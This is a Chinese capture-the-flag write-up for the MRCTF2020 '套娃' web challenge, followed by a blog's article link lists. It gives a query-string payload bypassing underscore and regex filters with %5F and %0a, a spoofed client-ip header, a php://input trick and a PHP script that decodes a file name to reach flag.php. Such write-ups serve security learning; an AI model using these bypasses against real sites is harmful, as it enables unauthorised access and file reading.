MRCTF2020套娃

打开网页查看源代码

关于$_SERVER['QUERY_STRING']取值,例如:
http://localhost/aaa/?p=222
$_SERVER['QUERY_STRING'] = "p=222";
substr_count()函数计算子串在字符串中出现的次数
PS:子串区分大小写

上述代码不能出现'_'和'%5f',可以用‘ ’或‘.’或‘ %5F’绕过

通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中'^'和'$'代表的是行的开头和结尾,所以能利用换行绕过)绕过

payload:?b%5Fu%5Fp%5Ft=23333%0a

打开secrettw.php查看源码

复制注释代码放进控制台

随便POST一个Merak值,回显如下

分析一下代码

1.需要IP地址为127.0.0.1 在header中加client-ip:127.0.0.1

2.file_get_contents用php伪协议绕过

2333=php://input
post:todat is a happy day

3.change函数的作用,传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i*2

反写change函数,exp:

<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>

得到ZmpdYSZmXGI=

用burp传入参数得到flag

最新文章

  1. 说一说python的牛比与不爽
  2. BZOJ 3110 [Zjoi2013]K大数查询 ——整体二分
  3. Entity Framework 6 开发系列 目录
  4. MVC中的一般权限管理
  5. 【视频教程】使用UIAutomation开发软件外挂
  6. 使django与数据库保持长连接
  7. CAS实现无锁模式
  8. mysql中实现行号,oracle中的rowid
  9. #include&lt;filename.h&gt; 与 #include“filename.h”
  10. Android实现后台长期监听时间变化
  11. Codeforces 538E Demiurges Play Again(博弈DP)
  12. [jQuery1.9]Cannot read property ‘msie’ of undefined错误的解决方法
  13. Vijos 1025 小飞侠的游园方案 0-1背包
  14. (转载)Oracle10g 数据泵导出命令 expdp 使用总结(三)
  15. websocket(三) 进阶!netty框架实现websocket达到高并发
  16. Ranger-Kafka插件安装
  17. 推荐 | Vue 入门&amp;进阶路线
  18. javeEE第一周
  19. cactiEZ 配置
  20. 一个简单的MapReduce示例(多个MapReduce任务处理)

热门文章

  1. Tornadofx学习笔记(4)——IconTextFx开源库,整合5000+个字体图标
  2. CF581B Luxurious Houses 题解
  3. LuoguB2035 判断数正负 题解
  4. JS自动播放音频 无效chrome设置 (Uncaught (in promise) DOMException: play() failed because the user didn&#39;t interact)
  5. response.setHeader(&quot;xxx&quot;,&quot;大侠&quot;)如果赋值中文,那么将不会在页面出值,
  6. 如何获取网管MTU
  7. django——django链接mysql数据库
  8. Spring整合redis实现key过期事件监听
  9. 【LeetCode】1007. Minimum Domino Rotations For Equal Row 解题报告(Python)
  10. 小小明系列故事——游戏的烦恼(hdu 4517)